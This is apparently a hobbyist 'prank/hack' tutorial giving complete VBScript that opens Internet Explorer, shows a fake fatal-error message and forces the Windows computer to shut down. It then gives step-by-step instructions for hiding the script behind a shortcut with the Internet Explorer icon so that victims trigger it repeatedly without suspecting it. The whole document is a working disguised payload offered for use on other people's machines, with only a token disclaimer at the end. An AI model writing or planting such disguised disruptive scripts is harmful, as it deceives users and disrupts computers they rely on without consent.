Shutdown prank/hack (Version Two)

This version of the shutdown prank is my own creation, and I really like it, because it'll work more than once. The original version of this hack is a one time prank because you can figure out that Internet Explorer is causing the problem, and never double-click it again. In this version, you make 'em think it's a random error, and they make the mistake again and again before they realize what's happening.


First, click Start>Run, or press Windows Key + R, and type notepad, then press enter. (Notepad can also be found in All Programs>;Accessories>;notepad. And, just in case you're curious, the main location is is C:\WINDOWS\notepad. Type or copy this into notepad with word wrap off:


Set wshshell = wscript.createobject("wscript.shell")


' Create the shell object


wshshell.run "iexplore.exe"


' Run Internet Explorer


wscript.sleep 150000


' Wait for 2 minutes and a half (1000 per minute, feel free to add on time)


wscript.echo "Fatal Error: Windows File System is not compatible with your machine. Error number: 94"


' Create a fake error message to freak them out


wscript.sleep 3000


' Wait for 3 seconds


wshshell.run "shutdown -s -t 01"


' Shutdown the computer in 1 second. The reason I put "-t 01" is because otherwise it would show a popup for 30 seconds announcing that the computer is turning off.


NOTE: Many lines won't work unless you put them on one line. I double spaced all the lines, so any lines that are single spaced need to be placed on the line before it. For Example: 


wscript.echo "Fatal Error: Windows File System is not compatible with your machine. Error number: 94"


When you copy the code, click right before "your" and press the backspace key to put it on the same line, and so on for all the lines that are single spaced. Also, the lines that begin with a ' are comments, which are just there to show you what the code does.


You can edit wscript.echo "Fatal Error: Windows File System is not compatible with your machine. Error number: 94" between the quotes to say whatever you want it to say.


When you're done editing it, save it as Internet Explorer.vbs. Now, look on your desktop. There should be an icon called Internet Explorer, that shows a blue scroll. WATCH OUT: If you see .vbs in the name on the desktop, then you need to do an extra step. Go to 1 if you see the extension, and go to 2 if you don't.


1. If you see the extension, then you have an extra step. Open my computer, or any other folder, and click Tools>Folder Options, and on the view tab find the option that says "Hide Extensions for Known file types", and uncheck it if it's checked. If it's not checked, then double-check that the .vbs file you made on the desktop does show the .vbs extension. If it's still there and Hide Extensions for known file types is still checked, then go to the File Types tab in the folder options, and find the option that says VBScript File, not VBScript encoded file. Click on VBScript file and press advanced, and there will be an option saying Always show extension for this kind of file.  Uncheck that if it's checked. When you click okay and look at the file on the desktop, it should not show .vbs after Internet Explorer. 


2. Now, you need to right-click the file and select Create Shortcut. Select the original file, and right click it and select properties. Check the box that says hidden, and refresh the desktop by right clicking it and selecting refresh. It should disappear. If you have the option that shows hidden files, open my computer, click tools>folder options, click the view tab, and select the options that says do not show hidden files and folders. Now go back to the desktop, and you should not see the original file, and you should see the shortcut. Right-click the shortcut and click change icon. Change it to Internet Explorer, click okay, then click okay again, and it should look exactly like a shortcut to Internet Explorer. When they double click it, it'll run Internet Explorer like normal, but display an error message and shutdown the computer in 2 and a half minutes. 


I hope you enjoyed this! Don't be dumb with how you use it, and don't blame me if you get in trouble. Don't use it on your boss and get yourself fired, most importantly.


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